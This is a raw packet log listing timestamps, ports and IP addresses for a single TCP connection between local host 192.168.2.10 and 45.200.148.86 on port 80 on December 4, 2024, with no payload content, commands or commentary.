Dec 4, 2024 15:12:31.270157099 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.270157099 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.270201921 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.270317078 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.272413969 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.272459030 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.272604942 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.272618055 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.272655010 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.272732973 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.272744894 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.272756100 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.272792101 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.273035049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.273051023 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.273091078 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.273093939 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.273112059 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.273123026 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.273138046 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.273148060 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.273159981 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.273170948 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.273192883 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.273624897 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.273637056 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.273648977 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.273675919 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.273992062 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.274043083 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.274168015 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.274179935 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.274193048 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.274219036 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.274451971 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.274473906 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.274480104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.274491072 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.274493933 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.274517059 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.274677038 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.274696112 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.274733067 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.274771929 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.274817944 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.274928093 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.274987936 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.275000095 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.275048971 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.275146961 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.275158882 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.275171041 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.275182962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.275192022 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.275223970 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.275779009 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.275827885 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.275856018 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.275867939 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.275906086 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.276089907 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.276103020 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.276114941 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.276125908 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.276151896 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.276180029 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.276348114 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.276577950 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.276626110 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.276643038 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.276648998 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.276684999 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.276777029 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.276789904 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.276803017 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.276835918 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.277247906 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.277292013 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.277302027 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.277379036 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.277390003 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.277427912 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.277587891 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.277602911 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.277614117 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.277630091 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.277659893 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.277700901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.278280020 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.278330088 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.278347969 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.278359890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.278402090 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.278538942 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.278564930 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.278575897 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.278831959 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.418576002 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.418602943 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.418616056 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.418632984 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.418771982 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.418781996 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.418793917 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.418808937 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.418823957 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.418850899 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.418874979 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.420406103 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.420520067 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.420531988 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.420558929 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.420730114 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.420768976 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.420809031 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.420821905 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.420958042 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.420974970 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.420986891 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.421000957 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.421040058 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.421089888 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.421171904 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.421189070 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.421220064 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.421231985 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.421335936 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.421358109 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.421370029 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.421396971 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.421535969 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.421547890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.421575069 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.422046900 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.422091961 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.422110081 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.422123909 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.422162056 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.422321081 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.422333002 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.422396898 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.422435999 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.422456980 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.422468901 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.422511101 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.423113108 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.423156023 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.423167944 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.423176050 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.423291922 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.423336029 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.423337936 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.423350096 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.423362017 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.423376083 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.423403025 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.423623085 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.423969030 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.424010992 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.424067974 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.465769053 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.470204115 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.470228910 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.470242023 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.470251083 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.470284939 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.470345020 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.470405102 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.470417976 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.470429897 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.470443010 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.470490932 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.471432924 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.471529007 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.471540928 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.471581936 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.471581936 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.471625090 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.471647024 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.471759081 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.471770048 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.471784115 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.471800089 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.471831083 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.471983910 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.471997976 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.472040892 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.472115040 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.472129107 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.472143888 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.472176075 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.472210884 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.472250938 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.472423077 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.472486973 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.472498894 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.472537994 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.472630978 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.472642899 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.472657919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.472687960 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.472700119 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.472875118 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.472889900 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.472934008 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.473486900 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.473567963 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.473579884 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.473623991 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.473710060 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.473727942 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.473741055 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.473773956 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.473788023 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.473901033 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.473979950 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.473992109 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.474026918 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.474126101 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.474143028 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.474149942 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.474155903 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.474200010 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.474807978 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.474853039 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.474864960 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.474889994 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.474920034 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.474961042 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.474972963 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.475023985 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.475096941 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.475111961 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.475123882 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.475151062 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.475661039 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.475702047 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.475738049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.475753069 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.475785017 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.475866079 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.475923061 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.475934029 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.475960970 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.476285934 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.476299047 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.476310968 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.476337910 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.476345062 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.476366043 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.476475000 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.476525068 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.476541996 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.476556063 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.476569891 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.476602077 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.477107048 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.477148056 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.477173090 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.477190018 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.477230072 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.477310896 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.477325916 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.477339029 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.477375984 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.610822916 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.610846043 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.610855103 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.611027956 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.611089945 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.611102104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.611113071 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.611124039 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.611126900 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.611135006 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.611149073 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.611181974 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.612896919 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.612976074 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.612987041 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613032103 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.613073111 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613085032 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613121033 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.613195896 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613208055 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613219023 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613240957 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.613267899 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.613461018 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613548040 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613563061 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613595963 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.613697052 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613708019 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613719940 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613734007 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613739967 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.613771915 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.613899946 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.613943100 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.614366055 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.614406109 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.614417076 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.614495039 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.614548922 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.614559889 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.614573002 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.614584923 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.614589930 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.614619017 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.614773989 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.614814997 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.615245104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.615310907 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.615331888 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.615403891 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.615447998 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.615488052 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.615561962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.615572929 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.615585089 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.615597010 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.615607977 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.615633011 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.616154909 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.616200924 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.616210938 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.616242886 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.662058115 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.662153959 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.662163973 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.662195921 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.662230015 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.662233114 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.662244081 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.662255049 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.662266970 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:31.662275076 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:31.662300110 CET	49792	80	192.168.2.10	45.200.148.86
